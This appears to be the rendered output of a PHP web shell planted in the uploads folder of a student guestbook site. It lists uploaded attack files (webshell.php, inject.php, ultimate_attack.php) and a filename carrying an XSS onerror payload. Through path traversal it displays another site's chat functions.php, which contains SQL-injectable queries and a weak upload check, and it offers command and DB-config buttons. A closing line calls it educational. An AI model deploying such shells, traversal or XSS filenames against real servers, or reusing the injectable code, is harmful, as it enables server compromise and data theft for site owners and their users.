🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../584701.klas4s23.mid-ica.nl/public_html/projects/chat-main/functions.php

<?php
// Function to upload files
function uploadFile($file, $type) {
    if ($file && $file['error'] === UPLOAD_ERR_OK) {
        $targetDir = 'uploads/';
        $targetFile = $targetDir . basename($file['name']);
        $fileType = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));

        // Check file type and size (add more validations as needed)
        if (($type === 'image' && getimagesize($file['tmp_name']) !== false) ||
            ($type === 'audio' && in_array($fileType, array('mp3', 'wav', 'ogg'))) ||
            ($type === 'video' && in_array($fileType, array('mp4', 'avi', 'mov'))) &&
            $file['size'] <= 10485760) { // Max file size: 10MB (10 * 1024 * 1024)
            if (move_uploaded_file($file['tmp_name'], $targetFile)) {
                return $targetFile;
            }
        }
    }
    return null;
}
function deleteAllMessages($conn) {
    // SQL to delete all messages
    $sql = "DELETE FROM chat_messages";

    // Execute the query
    if ($conn->query($sql) === TRUE) {
        echo "All messages deleted successfully";
    } else {
        echo "Error deleting messages: " . $conn->error;
    }
}
// Function to insert message into database
function insertMessage($conn, $user_id, $message, $timestamp, $imagePath, $videoPath) {
    $user_id = mysqli_real_escape_string($conn, $user_id);
    $message = mysqli_real_escape_string($conn, $message);
    $timestamp = mysqli_real_escape_string($conn, $timestamp);
    $imagePath = mysqli_real_escape_string($conn, $imagePath);
    $videoPath = mysqli_real_escape_string($conn, $videoPath); // Add video path
    
    $sql = "INSERT INTO chat_messages (user_id, message, timestamp, image, video) 
            VALUES ('$user_id', '$message', '$timestamp', '$imagePath', '$videoPath')"; // Update query
    
    return mysqli_query($conn, $sql);
}


// Function to retrieve messages from the database along with user details
function getMessages($conn) {
    $messages = array();
    $sql = "SELECT chat_messages.*, users.fname, users.lname 
            FROM chat_messages 
            JOIN users ON chat_messages.user_id = users.unique_id 
            ORDER BY chat_messages.timestamp ASC";
    $result = mysqli_query($conn, $sql);
    if ($result && mysqli_num_rows($result) > 0) {
        while ($row = mysqli_fetch_assoc($result)) {
            $messages[] = $row;
        }
    }
    return $messages;
}

// Function to update user status and is_banned in the database
function updateUserStatus($conn, $user_id, $status, $is_banned) {
    $status = mysqli_real_escape_string($conn, $status);
    $is_banned = mysqli_real_escape_string($conn, $is_banned);
    
    $sql = "UPDATE users SET status = '$status', is_banned = '$is_banned' WHERE unique_id = '$user_id'";
    $result = mysqli_query($conn, $sql);
    return $result;
}

// Function to get the status of a user
function getUserStatus($conn, $user_id) {
    $sql = "SELECT status FROM users WHERE unique_id = '$user_id'";
    $result = mysqli_query($conn, $sql);
    if ($result && mysqli_num_rows($result) > 0) {
        $user = mysqli_fetch_assoc($result);
        return $user['status'];
    }
    return null;
}

// Ban a user
function banUser($conn, $user_id) {
    return updateUserStatus($conn, $user_id, 'banned', 1); // Assuming 1 represents true for is_banned
}

// Unban a user
function unbanUser($conn, $user_id) {
    return updateUserStatus($conn, $user_id, 'active', 0); // Assuming 0 represents false for is_banned
}

// Function to delete a message from the database
function deleteMessage($conn, $message_id) {
    $sql = "DELETE FROM chat_messages WHERE message_id = '$message_id'";
    $result = mysqli_query($conn, $sql);
    return $result;
}

// Function to delete an image from the server and database
function deleteImage($conn, $image_id) {
    // Retrieve image path from the database
    $sql = "SELECT image FROM chat_messages WHERE id = '$image_id'";
    $result = mysqli_query($conn, $sql);
    if ($result && mysqli_num_rows($result) > 0) {
        $row = mysqli_fetch_assoc($result);
        $imagePath = $row['image'];
        
        // Delete image file from the server
        if (unlink($imagePath)) {
            // Delete image record from the database
            $deleteSql = "UPDATE chat_messages SET image = NULL WHERE id = '$image_id'";
            $deleteResult = mysqli_query($conn, $deleteSql);
            return $deleteResult;
        }
    }
    return false;
}

// Function to retrieve all users from the database
function getAllUsers($conn) {
    $users = array();
    $sql = "SELECT * FROM users";
    $result = mysqli_query($conn, $sql);
    if ($result && mysqli_num_rows($result) > 0) {
        while ($row = mysqli_fetch_assoc($result)) {
            $users[] = $row;
        }
    }
    return $users;
}

// Function to delete a user from the database
function deleteUser($conn, $user_id) {
    $sql = "DELETE FROM users WHERE unique_id = '$user_id'";
    $result = mysqli_query($conn, $sql);
    return $result;
}

?>

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!